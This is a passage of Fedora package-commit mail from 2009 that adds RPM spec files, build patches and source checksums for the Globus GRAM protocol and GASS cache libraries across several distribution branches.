%dir %{_datadir}/globus/packages/%{_name}
%dir %{perl_vendorlib}/Globus
%dir %{perl_vendorlib}/Globus/GRAM
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%files -f package-doc.filelist doc
%defattr(-,root,root,-)
%dir %{_docdir}/%{name}-%{version}/html
%dir %{_docdir}/%{name}-%{version}/perl
%dir %{_docdir}/%{name}-%{version}/perl/Globus
%dir %{_docdir}/%{name}-%{version}/perl/Globus/GRAM

%changelog
* Wed Jul 29 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 7.4-1
- Autogenerated


--- NEW FILE import.log ---
globus-gram-protocol-7_4-1_fc11:F-11:globus-gram-protocol-7.4-1.fc11.src.rpm:1255243857


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gram-protocol/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:15:26 -0000	1.1
+++ .cvsignore	11 Oct 2009 06:51:14 -0000	1.2
@@ -0,0 +1,2 @@
+epstopdf-2.9.5gw
+globus_gram_protocol-7.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gram-protocol/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:15:27 -0000	1.1
+++ sources	11 Oct 2009 06:51:15 -0000	1.2
@@ -0,0 +1,2 @@
+44ec158f5ca5f60310cca74a3aaaea2b  epstopdf-2.9.5gw
+767e7f215133097390b08dce49997fea  globus_gram_protocol-7.4.tar.gz



From ellert at fedoraproject.org  Sun Oct 11 06:52:31 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Sun, 11 Oct 2009 06:52:31 +0000 (UTC)
Subject: rpms/globus-gram-protocol/EL-5 globus-gram-protocol.patch, NONE,
	1.1 globus-gram-protocol.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091011065231.53D9D11C00EC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gram-protocol/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21380/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gram-protocol.patch globus-gram-protocol.spec 
	import.log 
Log Message:
* Wed Jul 29 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 7.4-1
- Autogenerated


globus-gram-protocol.patch:
 pkgdata/MyFilelists.pm |   16 +++++++++++++---
 scripts/Makefile.am    |    8 ++++----
 2 files changed, 17 insertions(+), 7 deletions(-)

--- NEW FILE globus-gram-protocol.patch ---
diff -ur globus_gram_protocol-7.4.orig/pkgdata/MyFilelists.pm globus_gram_protocol-7.4/pkgdata/MyFilelists.pm
--- globus_gram_protocol-7.4.orig/pkgdata/MyFilelists.pm	2002-08-08 22:58:36.000000000 +0200
+++ globus_gram_protocol-7.4/pkgdata/MyFilelists.pm	2009-08-05 08:17:05.333218834 +0200
@@ -20,13 +20,19 @@
 sub rtl_files {
   my $self = shift;
   my $result = [];
-  $self->{'filelist'}->flavored_files();
+  $self->{'filelist'}->flavored_files() if defined $self->{'mangling'};
   $self->{'filelist'}->extract_dynamic_libs();
   $self->{'filelist'}->add_package_metadata_files('rtl');
   my $list = $self->{'filelist'}->get_list();
   push @$result, @$list;
   $self->{'filelist'}->reset();
 
+  $self->{'filelist'}->flavored_files() if defined $self->{'mangling'};
+  $self->{'filelist'}->extract_libtool_libs();
+  $list = $self->{'filelist'}->get_list();
+  push @$result, @$list;
+  $self->{'filelist'}->reset();
+
   return $result;
 }
 
@@ -34,15 +40,19 @@
 sub data_files {
   my $self = shift;
   my $result = [];
+
   $self->{'filelist'}->extract_perl_modules();
   $self->{'filelist'}->add_package_metadata_files('data', 'noflavor');
-
   my $list = $self->{'filelist'}->get_list();
   push @$result, @$list;
   $self->{'filelist'}->reset();
 
-  return $result;
+  $self->{'filelist'}->extract_data();
+  $list = $self->{'filelist'}->get_list();
+  push @$result, @$list;
+  $self->{'filelist'}->reset();
 
+  return $result;
 }
 
 1;
diff -ur globus_gram_protocol-7.4.orig/scripts/Makefile.am globus_gram_protocol-7.4/scripts/Makefile.am
--- globus_gram_protocol-7.4.orig/scripts/Makefile.am	2002-08-08 22:58:37.000000000 +0200
+++ globus_gram_protocol-7.4/scripts/Makefile.am	2009-08-05 08:16:26.585305779 +0200
@@ -1,11 +1,11 @@
 include $(top_srcdir)/globus_automake_pre
 
 # Extra directories into which we install files
-globusperldir=$(GLOBUS_LOCATION)/lib/perl/Globus/GRAM
-perldocdir=$(GLOBUS_LOCATION)/share/doc/perl/Globus/GRAM
+globusperldir=$(perlmoduledir)/Globus/GRAM
+perldocdir=$(docdir)/$(PACKAGE)/perl/Globus/GRAM
 
 # Not handled by automake, because of :: in the destination file names
-MAN_DIR=$(GLOBUS_LOCATION)/man/man3
+MAN_DIR=$(mandir)/man3
 
 # What gets installed where
 globusperl_DATA = Error.pm JobSignal.pm JobState.pm
@@ -39,7 +39,7 @@
 # The default filelist-noinstDATA rule will list each of the man pages
 # in the filelist in the root directory. This added dependency will add those
 # files in the correct place as well.
-filelist-noinstDATA: filelist-man
+filelist: filelist-man
 
 filelist-man:
 	@list='$(noinst_DATA)'; for p in $$list; do \


--- NEW FILE globus-gram-protocol.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

%{!?perl_vendorlib: %global perl_vendorlib %(eval "`%{__perl} -V:installvendorlib`"; echo $installvendorlib)}

Name:		globus-gram-protocol
%global _name %(tr - _ <<< %{name})
Version:	7.4
Release:	1%{?dist}
Summary:	Globus Toolkit - GRAM Protocol Library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gram/protocol/source globus_gram_protocol-7.4
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gram_protocol-7.4
#		tar -zcf globus_gram_protocol-7.4.tar.gz globus_gram_protocol-7.4
Source:		%{_name}-%{version}.tar.gz
#		This is a workaround for the broken epstopdf script in RHEL5
#		See: https://bugzilla.redhat.com/show_bug.cgi?id=450388
Source9:	epstopdf-2.9.5gw
#		Fixes for FHS installation:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6815
Patch0:		%{name}.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
%if %{?fedora}%{!?fedora:0} || %{?rhel}%{!?rhel:0} >= 4
Requires:	perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
%else
Requires:	perl
%endif
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	globus-io-devel%{?_isa} >= 3
BuildRequires:	globus-core%{?_isa} >= 4
BuildRequires:	doxygen
BuildRequires:	graphviz
%if "%{?rhel}" == "5"
BuildRequires:	graphviz-gd
%endif
BuildRequires:	ghostscript
%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:	tex(latex)
%else
BuildRequires:	tetex-latex
%endif

%package devel
Summary:	Globus Toolkit - GRAM Protocol Library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 3
Requires:	globus-io-devel%{?_isa} >= 3
Requires:	globus-core%{?_isa} >= 4

%package doc
Summary:	Globus Toolkit - GRAM Protocol Library Documentation Files
Group:		Documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:	noarch
%endif
Requires:	%{name} = %{version}-%{release}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
GRAM Protocol Library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
GRAM Protocol Library Development Files

%description doc
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-doc package contains:
GRAM Protocol Library Documentation Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%if "%{rhel}" == "5"
mkdir bin
install %{SOURCE9} bin/epstopdf
%endif

%build
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor} --enable-doxygen

make %{?_smp_mflags}

%install
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# This script is intended to be sourced, not executed
chmod 644 $RPM_BUILD_ROOT%{_datadir}/globus/globus-gram-protocol-constants.sh

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Move documentation to default RPM location
mv $RPM_BUILD_ROOT%{_docdir}/%{_name} \
  $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
sed s!doc/%{_name}!doc/%{name}-%{version}! \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Remove unwanted documentation (needed for RHEL4)
rm -f $RPM_BUILD_ROOT%{_mandir}/man3/*_%{_name}-%{version}_*.3
sed -e '/_%{_name}-%{version}_.*\.3/d' \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
    $GLOBUSPACKAGEDIR/%{_name}/noflavor_data.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist \
  | sed -e 's!/man/.*!&*!' -e 's!^!%doc %{_prefix}!' > package-doc.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{perl_vendorlib}/Globus
%dir %{perl_vendorlib}/Globus/GRAM
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%files -f package-doc.filelist doc
%defattr(-,root,root,-)
%dir %{_docdir}/%{name}-%{version}/html
%dir %{_docdir}/%{name}-%{version}/perl
%dir %{_docdir}/%{name}-%{version}/perl/Globus
%dir %{_docdir}/%{name}-%{version}/perl/Globus/GRAM

%changelog
* Wed Jul 29 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 7.4-1
- Autogenerated


--- NEW FILE import.log ---
globus-gram-protocol-7_4-1_fc11:EL-5:globus-gram-protocol-7.4-1.fc11.src.rpm:1255243917


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gram-protocol/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:15:26 -0000	1.1
+++ .cvsignore	11 Oct 2009 06:52:30 -0000	1.2
@@ -0,0 +1,2 @@
+epstopdf-2.9.5gw
+globus_gram_protocol-7.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gram-protocol/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:15:27 -0000	1.1
+++ sources	11 Oct 2009 06:52:31 -0000	1.2
@@ -0,0 +1,2 @@
+44ec158f5ca5f60310cca74a3aaaea2b  epstopdf-2.9.5gw
+767e7f215133097390b08dce49997fea  globus_gram_protocol-7.4.tar.gz



From ellert at fedoraproject.org  Sun Oct 11 06:53:30 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Sun, 11 Oct 2009 06:53:30 +0000 (UTC)
Subject: rpms/globus-gram-protocol/EL-4 globus-gram-protocol.patch, NONE,
	1.1 globus-gram-protocol.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091011065330.623D111C00EC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gram-protocol/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21744/EL-4

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gram-protocol.patch globus-gram-protocol.spec 
	import.log 
Log Message:
* Wed Jul 29 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 7.4-1
- Autogenerated


globus-gram-protocol.patch:
 pkgdata/MyFilelists.pm |   16 +++++++++++++---
 scripts/Makefile.am    |    8 ++++----
 2 files changed, 17 insertions(+), 7 deletions(-)

--- NEW FILE globus-gram-protocol.patch ---
diff -ur globus_gram_protocol-7.4.orig/pkgdata/MyFilelists.pm globus_gram_protocol-7.4/pkgdata/MyFilelists.pm
--- globus_gram_protocol-7.4.orig/pkgdata/MyFilelists.pm	2002-08-08 22:58:36.000000000 +0200
+++ globus_gram_protocol-7.4/pkgdata/MyFilelists.pm	2009-08-05 08:17:05.333218834 +0200
@@ -20,13 +20,19 @@
 sub rtl_files {
   my $self = shift;
   my $result = [];
-  $self->{'filelist'}->flavored_files();
+  $self->{'filelist'}->flavored_files() if defined $self->{'mangling'};
   $self->{'filelist'}->extract_dynamic_libs();
   $self->{'filelist'}->add_package_metadata_files('rtl');
   my $list = $self->{'filelist'}->get_list();
   push @$result, @$list;
   $self->{'filelist'}->reset();
 
+  $self->{'filelist'}->flavored_files() if defined $self->{'mangling'};
+  $self->{'filelist'}->extract_libtool_libs();
+  $list = $self->{'filelist'}->get_list();
+  push @$result, @$list;
+  $self->{'filelist'}->reset();
+
   return $result;
 }
 
@@ -34,15 +40,19 @@
 sub data_files {
   my $self = shift;
   my $result = [];
+
   $self->{'filelist'}->extract_perl_modules();
   $self->{'filelist'}->add_package_metadata_files('data', 'noflavor');
-
   my $list = $self->{'filelist'}->get_list();
   push @$result, @$list;
   $self->{'filelist'}->reset();
 
-  return $result;
+  $self->{'filelist'}->extract_data();
+  $list = $self->{'filelist'}->get_list();
+  push @$result, @$list;
+  $self->{'filelist'}->reset();
 
+  return $result;
 }
 
 1;
diff -ur globus_gram_protocol-7.4.orig/scripts/Makefile.am globus_gram_protocol-7.4/scripts/Makefile.am
--- globus_gram_protocol-7.4.orig/scripts/Makefile.am	2002-08-08 22:58:37.000000000 +0200
+++ globus_gram_protocol-7.4/scripts/Makefile.am	2009-08-05 08:16:26.585305779 +0200
@@ -1,11 +1,11 @@
 include $(top_srcdir)/globus_automake_pre
 
 # Extra directories into which we install files
-globusperldir=$(GLOBUS_LOCATION)/lib/perl/Globus/GRAM
-perldocdir=$(GLOBUS_LOCATION)/share/doc/perl/Globus/GRAM
+globusperldir=$(perlmoduledir)/Globus/GRAM
+perldocdir=$(docdir)/$(PACKAGE)/perl/Globus/GRAM
 
 # Not handled by automake, because of :: in the destination file names
-MAN_DIR=$(GLOBUS_LOCATION)/man/man3
+MAN_DIR=$(mandir)/man3
 
 # What gets installed where
 globusperl_DATA = Error.pm JobSignal.pm JobState.pm
@@ -39,7 +39,7 @@
 # The default filelist-noinstDATA rule will list each of the man pages
 # in the filelist in the root directory. This added dependency will add those
 # files in the correct place as well.
-filelist-noinstDATA: filelist-man
+filelist: filelist-man
 
 filelist-man:
 	@list='$(noinst_DATA)'; for p in $$list; do \


--- NEW FILE globus-gram-protocol.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

%{!?perl_vendorlib: %global perl_vendorlib %(eval "`%{__perl} -V:installvendorlib`"; echo $installvendorlib)}

Name:		globus-gram-protocol
%global _name %(tr - _ <<< %{name})
Version:	7.4
Release:	1%{?dist}
Summary:	Globus Toolkit - GRAM Protocol Library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gram/protocol/source globus_gram_protocol-7.4
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gram_protocol-7.4
#		tar -zcf globus_gram_protocol-7.4.tar.gz globus_gram_protocol-7.4
Source:		%{_name}-%{version}.tar.gz
#		This is a workaround for the broken epstopdf script in RHEL5
#		See: https://bugzilla.redhat.com/show_bug.cgi?id=450388
Source9:	epstopdf-2.9.5gw
#		Fixes for FHS installation:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6815
Patch0:		%{name}.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
%if %{?fedora}%{!?fedora:0} || %{?rhel}%{!?rhel:0} >= 4
Requires:	perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
%else
Requires:	perl
%endif
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	globus-io-devel%{?_isa} >= 3
BuildRequires:	globus-core%{?_isa} >= 4
BuildRequires:	doxygen
BuildRequires:	graphviz
%if "%{?rhel}" == "5"
BuildRequires:	graphviz-gd
%endif
BuildRequires:	ghostscript
%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:	tex(latex)
%else
BuildRequires:	tetex-latex
%endif

%package devel
Summary:	Globus Toolkit - GRAM Protocol Library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 3
Requires:	globus-io-devel%{?_isa} >= 3
Requires:	globus-core%{?_isa} >= 4

%package doc
Summary:	Globus Toolkit - GRAM Protocol Library Documentation Files
Group:		Documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:	noarch
%endif
Requires:	%{name} = %{version}-%{release}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
GRAM Protocol Library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
GRAM Protocol Library Development Files

%description doc
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-doc package contains:
GRAM Protocol Library Documentation Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%if "%{rhel}" == "5"
mkdir bin
install %{SOURCE9} bin/epstopdf
%endif

%build
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor} --enable-doxygen

make %{?_smp_mflags}

%install
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# This script is intended to be sourced, not executed
chmod 644 $RPM_BUILD_ROOT%{_datadir}/globus/globus-gram-protocol-constants.sh

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Move documentation to default RPM location
mv $RPM_BUILD_ROOT%{_docdir}/%{_name} \
  $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
sed s!doc/%{_name}!doc/%{name}-%{version}! \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Remove unwanted documentation (needed for RHEL4)
rm -f $RPM_BUILD_ROOT%{_mandir}/man3/*_%{_name}-%{version}_*.3
sed -e '/_%{_name}-%{version}_.*\.3/d' \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
    $GLOBUSPACKAGEDIR/%{_name}/noflavor_data.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist \
  | sed -e 's!/man/.*!&*!' -e 's!^!%doc %{_prefix}!' > package-doc.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{perl_vendorlib}/Globus
%dir %{perl_vendorlib}/Globus/GRAM
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%files -f package-doc.filelist doc
%defattr(-,root,root,-)
%dir %{_docdir}/%{name}-%{version}/html
%dir %{_docdir}/%{name}-%{version}/perl
%dir %{_docdir}/%{name}-%{version}/perl/Globus
%dir %{_docdir}/%{name}-%{version}/perl/Globus/GRAM

%changelog
* Wed Jul 29 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 7.4-1
- Autogenerated


--- NEW FILE import.log ---
globus-gram-protocol-7_4-1_fc11:EL-4:globus-gram-protocol-7.4-1.fc11.src.rpm:1255243990


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gram-protocol/EL-4/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:15:26 -0000	1.1
+++ .cvsignore	11 Oct 2009 06:53:29 -0000	1.2
@@ -0,0 +1,2 @@
+epstopdf-2.9.5gw
+globus_gram_protocol-7.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gram-protocol/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:15:27 -0000	1.1
+++ sources	11 Oct 2009 06:53:30 -0000	1.2
@@ -0,0 +1,2 @@
+44ec158f5ca5f60310cca74a3aaaea2b  epstopdf-2.9.5gw
+767e7f215133097390b08dce49997fea  globus_gram_protocol-7.4.tar.gz



From ellert at fedoraproject.org  Sun Oct 11 06:59:44 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Sun, 11 Oct 2009 06:59:44 +0000 (UTC)
Subject: rpms/globus-gass-cache/devel globus-gass-cache.patch, NONE,
	1.1 globus-gass-cache.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091011065944.E6C8711C00EC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gass-cache/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23243/devel

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gass-cache.patch globus-gass-cache.spec import.log 
Log Message:
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 5.4-1
- Autogenerated


globus-gass-cache.patch:
 globus_gass_cache.c |    4 ++++
 globus_gass_cache.h |    4 ----
 2 files changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE globus-gass-cache.patch ---
diff -ur globus_gass_cache-5.4.orig/globus_gass_cache.c globus_gass_cache-5.4/globus_gass_cache.c
--- globus_gass_cache-5.4.orig/globus_gass_cache.c	2009-05-08 19:51:16.000000000 +0200
+++ globus_gass_cache-5.4/globus_gass_cache.c	2009-08-06 10:27:18.194951999 +0200
@@ -120,6 +120,10 @@
 #define GLOBUS_L_READY_OTHER	-108	/* Data ready from another process */
 #define GLOBUS_L_ETIMEOUT	-109	/* Time out waiting for ready */
 
+#ifndef PATH_MAX
+#define PATH_MAX 4096
+#endif
+
 /* Prototype the mangling functions. */
 static
 int
diff -ur globus_gass_cache-5.4.orig/globus_gass_cache.h globus_gass_cache-5.4/globus_gass_cache.h
--- globus_gass_cache-5.4.orig/globus_gass_cache.h	2006-01-19 06:54:34.000000000 +0100
+++ globus_gass_cache-5.4/globus_gass_cache.h	2009-08-06 10:18:54.383953557 +0200
@@ -82,10 +82,6 @@
 
 #define GLOBUS_GASS_CACHE_TIMESTAMP_UNKNOWN 0UL
 
-#if !defined(PATH_MAX) && defined(MAXPATHLEN)
-#   define PATH_MAX MAXPATHLEN
-#endif
-
 /*
  *  Other definitions
  */


--- NEW FILE globus-gass-cache.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gass-cache
%global _name %(tr - _ <<< %{name})
Version:	5.4
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus Gass Cache

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
Source:		http://www-unix.globus.org/ftppub/gt4/4.2.1/updates/src/%{_name}-%{version}.tar.gz
#		PATH_MAX should not be defined in installed headers:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6827
Patch0:		%{name}.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

